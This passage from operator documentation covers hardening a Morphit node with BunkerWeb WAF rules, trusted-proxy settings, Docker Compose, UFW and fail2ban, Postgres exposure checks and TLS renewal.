Header-inheritance caveat. The instant you add ANY add_header inside a location, nginx stops applying the add_header directives set higher up — so a bare version of the blocks above strips the CSP and HSTS headers from those two responses. If your server block sets CSP/HSTS via add_header, re-emit them inside each block so the two paths stay identical to every other response:

location = /service-worker.js {
    # re-emit the SAME Content-Security-Policy + Strict-Transport-Security
    # add_header lines your server block already uses (copy them verbatim), then:
    add_header Cache-Control "no-cache" always;
    try_files $uri =404;
}

(For a script file and a small JSON blob the missing CSP/HSTS is low-risk — the document's CSP and the domain's HSTS ride on the real navigations — but re-emitting is tidy and avoids surprises in a header audit.)

Then reload the container so nginx re-reads the config, and verify the headers flipped — this is the confirmation the fix is live:

docker exec <your-edge-container> nginx -t     # syntax check before restarting
docker restart <your-edge-container>
curl -sI https://yourdomain.com/service-worker.js | grep -i cache-control
curl -sI https://yourdomain.com/verify.json       | grep -i cache-control

Both must show cache-control: no-cache. Until they do, a stale service worker can persist on a visitor's device indefinitely and they never receive a deploy until they hard-refresh — which almost no one does.

What BunkerWeb adds on top of Caddy/nginx

Feature	Caddy / nginx alone	BunkerWeb
HTTPS auto-renewal	Caddy yes; nginx via certbot	yes (built-in)
OWASP Top-10 rules	nginx via ModSecurity (manual config); Caddy via plugins	built-in
Bot detection	basic User-Agent blocking	curated bot lists + behavioral
Rate limiting	per-IP, per-route	per-IP, per-route, per-country, per-AS
GeoIP / country blocking	manual	built-in
DDoS mitigation	per-IP rate limit only	per-IP + connection-rate + slow-loris + body-size guards
Web UI	none	yes

Each layer is additive to Morphit's own defenses (signup-drain stack §18, indexer abuse mitigation, etc.). BunkerWeb does NOT replace any of those — it's a perimeter shield that catches generic web attacks before they reach the Morphit stack at all.

Architecture choice

Option A — BunkerWeb instead of Caddy. Simplest, and what ops/bunkerweb/ ships: BunkerWeb terminates TLS and proxies everything to the frontend nginx container (canonical topology above), which serves the static build + proxies the API paths to the indexer/relay on the host. Use this if you're starting fresh.

Option B — BunkerWeb in front of Caddy. Use if you're already running Caddy and want to add WAF without changing the existing config. Slightly higher latency (~1-2ms per request from the second hop). Caddy listens on 127.0.0.1:8443, BunkerWeb proxies to it from port 443.

Linux install (Option A)

The official packages support Debian, Ubuntu, RHEL, Fedora. See https://docs.bunkerweb.io/latest/install for current install steps. After install, the configuration shape:

# /etc/bunkerweb/variables.env (operator-tuned)
SERVER_NAME=morphit.example.com
USE_REVERSE_PROXY=yes
REVERSE_PROXY_URL=/
REVERSE_PROXY_HOST=http://127.0.0.1:3000  # the apps/web dev server, OR
                                          # the static-build path if served by nginx
AUTO_LETS_ENCRYPT=yes
EMAIL_LETS_ENCRYPT=you@example.com
USE_BLACKLIST=yes
USE_DNSBL=yes
USE_LIMIT_REQ=yes
LIMIT_REQ_RATE=10r/s
USE_BAD_BEHAVIOR=yes
USE_MODSECURITY=yes
MODSECURITY_CRS_VERSION=4
USE_ANTIBOT=auto    # serves a JS challenge to suspicious clients

Tune LIMIT_REQ_RATE for your traffic. Default 10r/s is conservative — typical Morphit instances see a handful of orderbook fetches per second per browser, which fits.

Docker install

If you're already running Morphit in Docker (see §33), BunkerWeb has an official bunkerweb/bunkerweb image. Compose snippet:

services:
  bunkerweb:
    image: bunkerweb/bunkerweb:1.6
    ports:
      - "80:8080"
      - "443:8443"
    environment:
      SERVER_NAME: "morphit.example.com"
      USE_REVERSE_PROXY: "yes"
      REVERSE_PROXY_HOST: "http://web:3000"
      AUTO_LETS_ENCRYPT: "yes"
      EMAIL_LETS_ENCRYPT: "you@example.com"
      USE_BAD_BEHAVIOR: "yes"
      USE_MODSECURITY: "yes"
    depends_on:
      - web

Tuning for Morphit specifically

Morphit serves three classes of traffic that need slightly different rules:

Browser GET to /, /orderbook, /post, etc. — normal web pages. Default ModSecurity + bot detection works.
JSON API to /relay/v1/, /v1/ — rate limits should be MORE generous because a single browser may make 3-10 calls per second during normal use. Recommend LIMIT_REQ_RATE=30r/s and exclude these paths from the JS-challenge antibot (a JS challenge breaks JSON API calls).
Server-Sent Events at the indexer's /v1/.../stream endpoints (/v1/orderbook/stream, /v1/chat/:a/:b/stream, /v1/instances/stream) — long-lived connections. ModSecurity must NOT inspect the streaming response body (it'll buffer and break the SSE), and rate limiting must be by NEW connection, not by ongoing connection.

Sample BunkerWeb config carving these out (paste in variables.env):

# Default rules: conservative for browser traffic
LIMIT_REQ_RATE=10r/s
USE_ANTIBOT=auto

# Per-URL overrides for the API + SSE
LIMIT_REQ_URL_1=/relay/v1
LIMIT_REQ_RATE_1=30r/s

LIMIT_REQ_URL_2=/v1
LIMIT_REQ_RATE_2=30r/s

ANTIBOT_IGNORE_URI=/relay/v1 /v1

# SSE: don't buffer the indexer's streaming responses. BunkerWeb
# matches *_URL_* values as a regex, so this covers all three
# stream endpoints (orderbook / chat / instances).
USE_PROXY_BUFFERING_3=no
PROXY_BUFFERING_URL_3=^/v1/.*/stream$

What BunkerWeb does NOT do

It does NOT prevent name-squatting on Blurt — that's the protocol's account-creation cost (~100 BLURT) plus Morphit's signup-drain stack (§18). Note that the relay pays this cost, not the attacker — every signup costs your relay ~100 BLURT regardless of who's behind it. BunkerWeb stops a web bot hitting /v1/account/create 1000 times a minute, but a determined attacker who's willing to burn through your relay's balance one signup at a time is, by design, allowed to create accounts up to the daily ceiling.
It does NOT replace the operator-balance alert scanner (§16). A drain attack that's expensive enough to bypass rate limits will still hit that alarm.
It does NOT replace db-password-placeholder-smoke (§30) or the rest of the static smoke suite.

Where to monitor

journalctl -u bunkerweb.service -f
# Or via the web UI at https://your-host:7000 (if you enabled it)

USE_REAL_IP=yes is also worth setting — without it, all your indexer/relay logs show BunkerWeb's IP, not the user's, making downstream debugging harder.

CRITICAL: trusted-proxy IPs for BunkerWeb deployments

Out of the box, the relay only trusts X-Forwarded-For headers from loopback addresses (127.0.0.1, ::1). This is correct for the canonical single-host nginx topology where nginx and the relay run side-by-side and connect via loopback. It is WRONG for BunkerWeb deployments in several common topologies:

Topology	Relay sees socket peer as	What happens without config
BunkerWeb in Docker compose alongside the relay	Docker bridge IP (e.g., `172.18.0.5`)	All signups from BunkerWeb users share ONE rate-limit bucket — one abuser exhausts the daily limit for everyone
BunkerWeb on a separate host from the relay	BunkerWeb's host IP (e.g., `10.0.0.5`)	Same — every user shares one bucket
BunkerWeb in front of nginx (Option B) on same host	Loopback (nginx is the trusted hop)	OK — nginx already trusted; X-Forwarded-For chain works

To fix the Docker-compose case, set MORPHIT_RELAY_TRUSTED_PROXY_IPS to the Docker bridge CIDR.

If you deploy the canonical morphit-shipped BunkerWeb compose (ops/bunkerweb/docker-compose.yml, also deployed by the Ansible bunkerweb role), the CIDR is PINNED at 172.20.0.0/16 — set:

MORPHIT_RELAY_TRUSTED_PROXY_IPS=172.20.0.0/16

The Ansible playbook's group_vars default already sets this. The compose was deliberately pinned to 172.20.0.0/16 (instead of letting Docker auto-assign) precisely so this CIDR is stable and operators can hard-code it without re-inspecting after rebuilds. In the canonical topology the relay's immediate socket peer is the frontend container (requests flow BunkerWeb → frontend → relay), but BOTH containers live on 172.20.0.0/16, so the single pinned CIDR is all the relay needs; BunkerWeb sets the real client as the leftmost X-Forwarded-For entry and the frontend appends to the chain, so the relay reads the real client from XFF[0].

If you deploy your OWN compose with a different network CIDR, the default Docker bridge networks are typically 172.17.0.0/16 (the default bridge network) and 172.18.0.0/16 through 172.31.0.0/16 for user-defined networks. To find YOUR bridge network's CIDR:

docker network inspect <your-compose-network> --format '{{range .IPAM.Config}}{{.Subnet}}{{end}}'
# Example output: 172.18.0.0/16

Then set it in the relay's environment:

# /etc/morphit/relay.env (or your systemd Environment= directive)
MORPHIT_RELAY_TRUSTED_PROXY_IPS=172.18.0.0/16

For multi-host BunkerWeb (BunkerWeb on a separate machine):

# Pass the BunkerWeb host's actual IP, NOT a CIDR (the host
# is one fixed address, not a range)
MORPHIT_RELAY_TRUSTED_PROXY_IPS=10.0.0.5

For multiple proxies (e.g., BunkerWeb in Docker + a CDN in front of it):

# Comma-separated.  Each entry is either a bare IP or a CIDR.
MORPHIT_RELAY_TRUSTED_PROXY_IPS=172.18.0.0/16,10.0.0.5

SECURITY WARNING. This is the most dangerous knob in the relay's configuration. Setting it too broad — e.g., 0.0.0.0/0, or a CIDR that covers more than your actual proxy — lets ANY remote client forge X-Forwarded-For to bypass per-IP rate limits and drain the relay's BLURT. Always pass the NARROWEST CIDR that covers your actual proxy. The relay logs trusted_proxies_configured at boot with the parsed exact-count and CIDR-count; verify it matches your expectation. Malformed entries (like a typo 172.18.0.0/3X) are logged as trusted_proxies_some_rejected — an operator who sees that line in their boot log should fix their config immediately.

To verify the trust chain is working end-to-end after configuring, hit any rate-limited endpoint from two different real client IPs (your phone on cell + your laptop on Wi-Fi) and confirm the relay logs show DIFFERENT bucket keys per request. If both show the proxy's IP, the trust chain is broken.

Compatibility with §37 server hardening

BunkerWeb interacts with several of §37's hardening directives. Check these before deploying both:

§37.1 SSH hardening — No conflict. BunkerWeb listens on 80/443; SSH is on 22. The two never touch the same port.

§37.4 Mount hardening (noexec on /tmp). If you run BunkerWeb in Docker, noexec on /tmp is fine because Docker's overlay filesystem isolates the container's /tmp from the host's. If you run BunkerWeb directly via apt package, BunkerWeb's nginx config-test step (bw-cli and ModSecurity rule compilation) may require executing scripts in /tmp. If bw-cli errors out citing permission-denied on /tmp scripts, temporarily remount /tmp executable for the upgrade window (see §37.4 for the procedure).

§37.5 Systemd hardening. BunkerWeb's official systemd unit ships with reasonable isolation defaults. If you've applied a custom hardening.conf drop-in to ALL services, audit BunkerWeb's drop-in too — ProtectSystem=strict is fine but RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6 MUST allow AF_NETLINK if BunkerWeb's traffic-shaping plugin is loaded (it queries iptables via netlink).

§37.13 Outbound egress allowlist. BunkerWeb makes outbound connections to: Let's Encrypt (TCP 80 + 443), Maxmind GeoIP database updates (TCP 443), and DNSBL queries (TCP/UDP 53). If you applied the relay-host egress allowlist, those work. The BunkerWeb-bot-database refresh (USE_BAD_BEHAVIOR=yes enables a daily download from the BunkerWeb cloud) hits 443; also fine. If you see geoip_update_failed or dnsbl_update_failed in BunkerWeb logs, your egress policy is the likely culprit.

§34 fail2ban. Most fail2ban rules watch /var/log/auth.log (SSH) — no conflict. If you've added a Morphit-specific fail2ban rule that watches the relay's HTTP error log for 429s, double-check the log format: BunkerWeb's nginx writes a different format than stock nginx. The simpler approach is to write fail2ban rules against BunkerWeb's own logs (/var/log/bunkerweb/access.log and /var/log/bunkerweb/error.log) which include the original client IP via USE_REAL_IP=yes.

§37.8 Postgres hardening. No interaction. BunkerWeb doesn't touch the Postgres port.

Advanced WAF rule tuning for Morphit

BunkerWeb's default ModSecurity ruleset (CRS 4.x) catches OWASP Top-10 attacks. Morphit's signup endpoints have a few characteristics that benefit from tuning beyond the defaults:

1. Whitelist the signup endpoint's request body. Morphit's /v1/account/create body contains four base58-encoded BLT-prefixed public keys. CRS rule 920420 ("Request content type is not allowed") might false-positive on application/json bodies that look unusual to it. Add to BunkerWeb's variables.env:

# Whitelist Morphit's signup endpoints from CRS rules that
# false-positive on legitimate signed-op payloads.
MODSECURITY_CRS_BLACKLIST_RULES=920420 921120 942100
# 920420 — content type whitelist (JSON acct-create body)
# 921120 — HTTP request smuggling (paranoid mode)
# 942100 — SQL injection regex (matches BLT-prefixed keys)

You can add per-URI whitelists rather than disabling rules globally:

# Disable rules ONLY for /v1/account/create
MODSECURITY_CRS_REMOVE_RULES_BY_URI=^/v1/account/create$ 920420 921120 942100

2. Tighten the rate limits for /v1/account/invite specifically. The invite endpoint is where the real-money cost lives. BunkerWeb's per-URI rate limit can be MUCH tighter here than the default:

# Default: 30/s for the JSON API surface
LIMIT_REQ_RATE=30r/s

# Per-URI override: invite endpoint specifically.  3/s is plenty
# for any real user (they call it once per signup).
LIMIT_REQ_URL_3=/v1/account/invite
LIMIT_REQ_RATE_3=3r/s
LIMIT_REQ_BURST_3=10

3. Block known malicious IP ranges via the BunkerWeb blacklist. If you've identified attacker /24s from previous incidents, add them:

# Comma-separated IP / CIDR list of permanently-blocked sources
BLACKLIST_IP=203.0.113.0/24,198.51.100.50

4. GeoIP-block from countries with disproportionate squatter activity. This is operator's-call — Morphit is a worldwide service, blocking entire countries denies access to legitimate users. But if you're in incident response and an attacker is concentrated in one CC, you can:

USE_GEOIP=yes
BLACKLIST_COUNTRY=XX YY  # ISO-3166 alpha-2 codes

Reverse the policy if you want to RESTRICT to specific countries (rare for Morphit):

USE_GEOIP=yes
WHITELIST_COUNTRY=US CA GB DE FR

5. Per-AS rate limiting. Cloudflare-tier defense. BunkerWeb supports per-ASN rate limits with the appropriate plugin; if you're seeing a coordinated drain from a single autonomous system (a cheap cloud provider's abuse-friendly hosting), you can rate-limit by AS rather than by IP:

USE_LIMIT_REQ_BY_ASN=yes
LIMIT_REQ_BY_ASN_RATE=5r/m

Tune the rate to your traffic — too tight breaks legitimate users from large ISPs whose ASN you'd inadvertently throttle.

6. Enable BunkerWeb's antibot challenge for /v1/account/invite only. The default USE_ANTIBOT=auto covers everything, but the Morphit user flow is sensitive: a JS challenge during the invite step is fine because the browser is in "click-button" mode there, not in active API conversation. Don't enable antibot on /v1/account/create (the second-step submit) — by then the user has already solved Altcha and another challenge would be confusing.

USE_ANTIBOT=auto
ANTIBOT_IGNORE_URI=/v1/account/create /relay/v1 /v1

7. Bigger request-body limit ONLY for canary verification. The canary endpoint at /canary.txt returns a few KB; defaults are fine. But if you ever serve large operator-disclosure documents (e.g., /operator-disclosure.pdf), bump MAX_CLIENT_SIZE to allow them:

MAX_CLIENT_SIZE=10m
# For specific URIs:
MAX_CLIENT_SIZE_URL_1=/disclosures
MAX_CLIENT_SIZE_RATE_1=20m

When to NOT add BunkerWeb

BunkerWeb is excellent for medium-traffic instances. It's overkill for:

A small private instance (under ~50 daily signups). Caddy's built-in TLS + Morphit's own rate limits are sufficient.
Tor-only / I2P-only deployments. Those run behind their respective network-layer protections; an additional WAF in front is mostly redundant and adds attack surface.
Resource-constrained VPS (under 1GB RAM). BunkerWeb's nginx + ModSecurity + lua plugins use ~200-400MB resident; on a 1GB host that's a meaningful fraction of your headroom.

For those cases, stick with the Caddy-based default and tune Morphit's own §18 layers.

33. Docker deployment — optional alternative to bare-metal

The default install in RUN-A-MORPHIT-NODE.md is bare-metal: clone the repo, install Node.js, run npm install, run systemctl enable on the unit files. That's the recommended path for first-time operators because there's no extra abstraction layer to debug when something's wrong. This section is for operators who already use Docker for everything else and want consistency with their existing fleet.

What Docker buys you

Consistent environment — Node version, libsodium, Postgres client all pinned in the image.
Easier rollback — docker compose down && docker compose up -d --pull=always swaps the running version without touching the host.
Isolation — the indexer/relay run in containers; a compromise of those processes doesn't touch the host filesystem (with proper volume scoping).

What Docker costs you

Slightly more complex backups — the DB volume needs to be in your backup path, not just /var/lib/postgresql.
One more thing to keep updated — the base image, in addition to the host OS and the Morphit code.
Networking hops — adds 1-3 ms per request unless you use network_mode: host.

Compose example

There's no docker-compose.yml shipped in the repo (deliberately — Docker is one of several deployment options, not the canonical one). Below is a tested-shape reference. Drop into the repo root or a sibling dir.

Caveat (cp308 audit). The two classes of secret reference in the example below behave differently — read carefully before copying:

DB password from a file is NOT yet implemented. MORPHIT_INDEXER_DB_PASSWORD_FILE and MORPHIT_RELAY_DB_PASSWORD_FILE are ignored today; the services read the password directly from MORPHIT_INDEXER_DATABASE_URL / MORPHIT_RELAY_DATABASE_URL. Until the *_FILE pattern lands, inline credentials in the DATABASE_URL for the Compose example to work — e.g. postgres://morphit_indexer:<password>@postgres:5432/morphit_indexer. Implementation tracked in REVISIT-LIST.

The relay key + passphrase from a file ARE implemented and work exactly as shown. MORPHIT_RELAY_ACTIVE_KEY_FILE is required and reads the encrypted keystore from the mounted secret path; MORPHIT_RELAY_ACTIVE_KEY_PASSPHRASE_FILE reads the unlock passphrase from its mounted secret. (Earlier revisions of this example named these MORPHIT_RELAY_KEYSTORE_PATH / MORPHIT_RELAY_PASSPHRASE_FILE, which the relay never reads — copying that would set ignored vars, omit the required …ACTIVE_KEY_FILE, and the relay would fail to boot.)

# docker-compose.yml
services:
  postgres:
    image: postgres:17-alpine
    restart: unless-stopped
    environment:
      POSTGRES_USER: morphit_indexer
      POSTGRES_PASSWORD_FILE: /run/secrets/db_password
      POSTGRES_DB: morphit_indexer
    secrets:
      - db_password
    volumes:
      - pgdata:/var/lib/postgresql/data
      # Backup mount: the morphit-backup.sh script (§31) runs
      # ON THE HOST, but pg_dump connects via TCP to the
      # container.  Make sure the container's port 5432 is
      # bound to 127.0.0.1 only.
    ports:
      - "127.0.0.1:5432:5432"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U morphit_indexer"]
      interval: 10s
      timeout: 5s
      retries: 5

  indexer:
    build:
      context: .
      dockerfile: apps/indexer/Dockerfile
    restart: unless-stopped
    environment:
      MORPHIT_INDEXER_DATABASE_URL: "postgres://morphit_indexer@postgres:5432/morphit_indexer"
      MORPHIT_INDEXER_DB_PASSWORD_FILE: /run/secrets/db_password
    secrets:
      - db_password
    depends_on:
      postgres:
        condition: service_healthy
    ports:
      # Indexer's loopback HTTP port — must match the
      # MORPHIT_INDEXER_LISTEN_PORT default of 8081.  nginx /
      # Caddy / BunkerWeb upstream points at 127.0.0.1:8081.
      - "127.0.0.1:8081:8081"

  relay:
    build:
      context: .
      dockerfile: apps/relay/Dockerfile
    restart: unless-stopped
    environment:
      MORPHIT_RELAY_DATABASE_URL: "postgres://morphit_indexer@postgres:5432/morphit_indexer"
      MORPHIT_RELAY_DB_PASSWORD_FILE: /run/secrets/db_password
      MORPHIT_RELAY_ACTIVE_KEY_FILE: /run/secrets/relay_keystore
      MORPHIT_RELAY_ACTIVE_KEY_PASSPHRASE_FILE: /run/secrets/relay_passphrase
    secrets:
      - db_password
      - relay_keystore
      - relay_passphrase
    depends_on:
      postgres:
        condition: service_healthy
    ports:
      # Relay's loopback HTTP port — must match the
      # MORPHIT_RELAY_LISTEN_PORT default of 8080.
      - "127.0.0.1:8080:8080"

  web:
    build:
      context: .
      dockerfile: apps/web/Dockerfile
    restart: unless-stopped
    ports:
      - "127.0.0.1:3000:3000"

secrets:
  db_password:
    file: ./secrets/db_password
  relay_keystore:
    file: ./apps/relay/keystore.json
  relay_passphrase:
    file: ./secrets/relay_passphrase

volumes:
  pgdata:

Dockerfiles

The repo doesn't ship Dockerfiles (intentional — they're lightweight enough that operators who want them write them once for their fleet). A starter shape for apps/relay/Dockerfile:

FROM node:22-alpine
RUN apk add --no-cache postgresql-client
WORKDIR /app
COPY package.json package-lock.json ./
COPY apps/relay/package.json apps/relay/
COPY packages/*/package.json packages/*/
RUN npm ci --omit=dev
COPY . .
USER node
CMD ["npm", "start", "-w", "apps/relay"]

Same shape for apps/indexer and apps/web (the web one's CMD is npm run start -w apps/web after a build step).

Backups in Docker

The morphit-backup.sh script from §31 still runs on the HOST, not inside a container. Update backup.env:

DB_NAME=morphit_indexer
DB_USER=morphit_indexer
PGHOST=127.0.0.1     # postgres container's port-mapped address
PGPORT=5432

Add ~/.pgpass to the morphit system user's home with the same password as secrets/db_password. The systemd timer + service files are unchanged — they just connect via TCP instead of UNIX socket.

What to NOT use Docker for

The wizard. morphit-ops init is meant to run as the host operator user, write to the repo, and print sudo commands. Running it inside a container is a footgun (paths and permissions don't match the host's).
One-shot CLI commands (morphit-ops register, etc.). Same reason.

These should run on the host with the same Node version your image uses, against the running container's exposed ports.

Troubleshooting: a service won't start (use `morphit-ops doctor`)

When the indexer or relay exits immediately on start with a configuration error — config validation failed: … Required, [operator-config] … not in the operator allowlist, an empty/missing key file, or a key-file permission complaint — the fastest path is the read-only preflight:

cd /opt/morphit          # the install directory
npx morphit-ops doctor   # or: morphit-ops doctor, if symlinked onto PATH

What it does, and why it's trustworthy:

It sources morphit.env exactly the way a real start does (set -a; . morphit.env; set +a) and runs each service's own config loader via an internal --check-config mode that loads config and exits. Because it uses the services' real loaders, its verdict cannot drift from what the services actually require.
It reports ✓ will start / ✗ will NOT start per service, and for a failure it surfaces the validation lines (not a stack trace) plus the fix.
It mutates nothing — no files, no database, no started services, no network calls. The relay check runs before the passphrase-unlock step, so it never prompts; instead it reports whether the active key is plaintext or an encrypted envelope (i.e. whether the relay will ask for a passphrase at real start).
Exit code: 0 if both services validate, 1 if either fails, 2 if you're not in an install directory. --json emits a structured result for scripting.

This is the recommended first step before systemctl start on a fresh install, and the first thing to reach for when a node that used to boot suddenly won't after a config change. Note that doctor validates config; it does not (and is not meant to) install or start services or systemd units — that remains a manual/Ansible step.

doctor finishes with a read-only security audit (operator-only; this is deliberately NOT exposed on the public /v1/health endpoint, which would advertise a weak key to attackers). It reports:

Active-key encryption — whether the relay key is an encrypted envelope (✓) or stored in plaintext (⚠, with the morphit-ops edit-active-key remediation). It detects this by reading only the first bytes of the key file to spot the envelope marker; it never prints key material. Reminder: encrypted keys are not auto-unlocked (by policy), so the relay needs a manual passphrase at each start.
Active-key file permissions — ⚠ if group/other-readable (the relay also refuses to boot in that case).
Secret-file permissions — ⚠ if morphit.env or morphit.config.env is group/other-readable; morphit.env holds the database password and is not permission-checked at boot, so this catches a real at-rest leak.

Security findings are advisory — they do not change doctor's exit code (which reflects boot-readiness), but a hardened instance should show all green here. --json includes a security array.

Troubleshooting: `morphit-ops` says "command not found"

If npx morphit-ops init (or register, edit, upgrade) worked once and then stopped — or never worked on a fresh clone — there are two causes, in order of how often they bite:

Cause 1 (most common): you're not in the repo directory, or npm install hasn't populated node_modules yet.

morphit-ops is a workspace-local tool — it is not published to the public npm registry; it lives in this repo under apps/ops-cli/. npx finds it only when you run from inside the Morphit repo (it searches upward from your current directory for the workspace) and after npm install has populated node_modules at the repo root. If you run it from your home directory, from a subdirectory outside the repo, or from a fresh clone where you haven't installed yet, npx finds no local tool, falls through to the public registry, and you see something like:

npm error code E404
npm error 404 Not Found - GET https://registry.npmjs.org/morphit-ops - Not found

That E404 is the "command not found" — npx looked for a published package named morphit-ops (there is none — it's private to this repo).

The classic trap: yesterday you ran it from ~/morphit and it worked; today after a git pull you happened to be in a different directory, or you're on a freshly-cloned second server where you haven't run npm install yet.

Cause 2: the workspace bin symlink went stale.

npm install creates a symlink at node_modules/.bin/morphit-ops pointing into the workspace. If a git pull changed package.json / package-lock.json / the workspace layout (this repo regenerates the lockfile at meaningful milestones), that symlink can be invalidated until you re-run npm install.

Both causes have the same fix — run from the repo root, after installing:

cd ~/morphit          # wherever you cloned it
npm install           # re-creates node_modules/.bin/morphit-ops
npx morphit-ops init  # now resolves the local bin

The rule: re-run npm install after every git pull. The repo's update procedure (§12 here and RUN-A-MORPHIT-NODE.md §12) already does this for npm run build; the same npm install is what restores the morphit-ops bin.

Two more things worth knowing:

Run it from inside the repo. npx searches upward from your current directory for node_modules/.bin. If you cd somewhere outside the Morphit tree first, it won't find the local bin. Always run morphit-ops from the repo root.
It needs tsx. The CLI runs from TypeScript source via tsx, which is a production dependency of apps/ops-cli (since cp161 — previously a devDependency, which broke the CLI under NODE_ENV=production or npm install --omit=dev). A plain npm install at the repo root installs it. If you deliberately install with --omit=dev, tsx is still present because it is a production dep.

If npm install doesn't fix it, you can bypass the symlink entirely and invoke the workspace directly:

npm exec --workspace apps/ops-cli morphit-ops -- init

cd apps/ops-cli && npm start -- init

Both run tsx src/main.ts init against the local source without relying on the root node_modules/.bin symlink.

Ansible operators: the playbook (ops/ansible/) handles npm install for you on each run, and since cp161 it verifies the morphit-ops bin is runnable as a post-install step — so a broken install fails the play with a clear error rather than surfacing later. If you re-deploy after a repo change, re-run the playbook; don't git pull on the target host out-of-band.

34. UFW firewall + fail2ban — extended hardening

RUN-A-MORPHIT-NODE.md §5 covers the basic UFW setup (allow 22, 80, 443; enable). This section is for operators who want to go further.

Default-deny inbound, default-allow outbound

The default Ubuntu UFW config is already this. Verify:

sudo ufw status verbose
# Default: deny (incoming), allow (outgoing), disabled (routed)

If the inbound default is anything else, fix it:

sudo ufw default deny incoming
sudo ufw default allow outgoing

SSH rate-limit instead of plain allow

Plain ufw allow 22/tcp lets an attacker hammer the SSH login forever. Better:

sudo ufw delete allow 22/tcp 2>/dev/null
sudo ufw limit 22/tcp comment 'SSH (rate-limited: 6 attempts in 30s)'

limit invokes the kernel's connection-tracking rate limiter — 6 connections in 30 seconds from any single IP, after which UFW drops the packets entirely (no TCP RST, no auth attempt).

IPv6

Most VPS providers give you both v4 and v6. UFW manages both by default; verify:

grep IPV6 /etc/default/ufw
# Expected: IPV6=yes

If no, edit and sudo ufw reload.

Postgres must NOT be exposed to the public internet

The indexer and relay connect to Postgres over localhost:5432. Postgres should never accept connections from anything else. Stock Ubuntu 24's postgresql-contrib package defaults to listen_addresses = 'localhost', which is correct. But if you've installed Postgres a different way — Docker, a custom image, a PaaS that gives you a public-by-default cluster, or a manually-edited postgresql.conf — verify before booting the indexer:

sudo -u postgres psql -t -c "SHOW listen_addresses;"
# Expected: 'localhost' or '127.0.0.1'
# DANGER:   '*' or '0.0.0.0' (publicly reachable)

If it's wrong, fix it in /etc/postgresql/*/main/postgresql.conf (the * glob picks the active major version — typically 17 on Ubuntu 24, 16 on 22.04, etc.):

listen_addresses = 'localhost'

then sudo systemctl restart postgresql.

Also verify UFW (or whatever firewall you use) explicitly denies inbound 5432:

sudo ufw status verbose | grep 5432
# Expected: nothing (UFW's default-deny policy already blocks it)
# DANGER:   "5432/tcp ALLOW Anywhere"

If a previous step accidentally exposed it:

sudo ufw delete allow 5432/tcp
sudo ufw deny 5432/tcp comment 'morphit DB — never public'

The same applies to Docker: 127.0.0.1:5432:5432 not 5432:5432 — the latter binds to all interfaces (see §33 Docker compose example, which gets this right).

fail2ban — second-layer SSH defense

UFW's rate limit catches the noisy attempts; fail2ban catches the patient ones (one attempt every 31 seconds). Default install on Ubuntu 24:

sudo apt install -y fail2ban
sudo systemctl enable --now fail2ban

The default /etc/fail2ban/jail.d/defaults-debian.conf only enables the sshd jail. Verify:

sudo fail2ban-client status
sudo fail2ban-client status sshd

A bantime of 10 minutes / 5 retries is the default. Increase for a public-facing operator instance:

sudo tee /etc/fail2ban/jail.d/morphit.local <<'EOF'
[sshd]
enabled = true
bantime = 1h
findtime = 10m
maxretry = 3
EOF
sudo systemctl restart fail2ban

fail2ban for the relay — NOT VIABLE without breaking IP privacy

You might want to extend fail2ban to ban IPs that hammer /v1/account/create after the per-IP spacing layer (§18 layer 3) has already rejected them. This isn't possible with the relay's default logging stance.

The access_log middleware (apps/relay/src/middleware/access_log.ts) is documented as an explicit no-IP-logging surface — see its header comment, which references the PHASE-3a-DESIGN.md privacy commitment. Without IP addresses in the relay's structured logs, fail2ban has nothing to extract a <HOST> from.

This is a deliberate, per-operator-choice tradeoff:

Default (privacy-preserving): the relay logs request method, path, status, duration, and rejection code (e.g. code=spacing_cooldown). No IP. fail2ban-for-relay is unavailable, but operators are not building a per-IP signup history that could be subpoenaed or leaked.
Custom build (operator opt-in): if an operator chooses to log IPs for their instance — for example, on a dedicated high-volume frontend instance where banning persistent abusers is more important than IP privacy — they can fork access_log.ts to include ip: clientIp in the structured context. The fail2ban filter regex would then need to match the actual structured log shape:
```
failregex = ^.*\[access\] request .*ip=<HOST>.*code=spacing_cooldown.*$
```
Note the module is [access] (not [signup-spacing]) and the code is spacing_cooldown (not too_soon).

Recommended path for most operators: rely on §18 layers 1-4 (global daily ceiling, per-IP daily cap, per-IP spacing, signed invite tokens) to bound abuse — these all run inside the relay and don't depend on log shape. Save fail2ban for SSH and other non-relay surfaces where IP-banning is unambiguously appropriate.

UFW's limit keyword (covered earlier in this section) gives you SSH-style brute-force protection that doesn't need IP logs: the kernel's connection-tracking rate-limiter drops packets at the network layer when an IP exceeds the rate, with no application visibility required. Apply the same idea to port 443 if a particular IP is hammering the relay's HTTPS endpoint.

Lockout-prevention — don't lock yourself out

Before turning on aggressive fail2ban rules, make sure your own admin IP is exempt:

sudo fail2ban-client set sshd addignoreip <your.admin.ip>
# Persistent: edit /etc/fail2ban/jail.d/morphit.local and add:
# [DEFAULT]
# ignoreip = 127.0.0.1/8 ::1 <your.admin.ip>

35. TLS auto-renewal — quick reference

The full TLS section is in §14.5 above (Let's Encrypt + nginx). This is the operator-facing summary card.

If you used Caddy (the recommended path)

You don't need to do anything. Caddy renews automatically. Verify:

sudo journalctl -u caddy.service | grep -i 'certificate.*obtained\|renewed'

Should see entries every 60 days or so per domain.

If you used nginx + certbot

Verify the timer is on:

systemctl list-timers | grep certbot
# Expected: certbot.timer  active  ...

If not, enable:

sudo systemctl enable --now certbot.timer

If you used BunkerWeb

AUTO_LETS_ENCRYPT=yes in variables.env (§32) handles it. Verify:

sudo journalctl -u bunkerweb.service | grep -i 'certificate'

Quarterly verification

Once a quarter, verify the cert chain on your live domain:

echo | openssl s_client -servername morphit.example.com -connect morphit.example.com:443 2>/dev/null \
  | openssl x509 -noout -dates -subject -issuer

Expected: notAfter is at least 30 days in the future. If less than 30 days and there's no recent renewal in your reverse-proxy logs, something's wrong with auto-renewal — investigate before it expires.

What to do if auto-renewal breaks

Symptoms: cert expires, browsers show NET::ERR_CERT_DATE_INVALID, your monitoring (you DO have monitoring, right?) fires.

Manual renewal:

# Caddy:  systemctl reload caddy
# nginx + certbot:  certbot renew --force-renewal && systemctl reload nginx
# BunkerWeb:  the bunkerweb container's healthcheck triggers renewal on next interval

Then investigate WHY auto-renewal broke. Most common causes:

DNS A record changed — the new IP doesn't match what the renewal HTTP-01 challenge expects.
Port 80 firewalled — HTTP-01 challenge requires inbound 80 from Let's Encrypt's network.
certbot's deploy-hook missing — cert was renewed but the proxy never reloaded. See §14.5 for the fix.
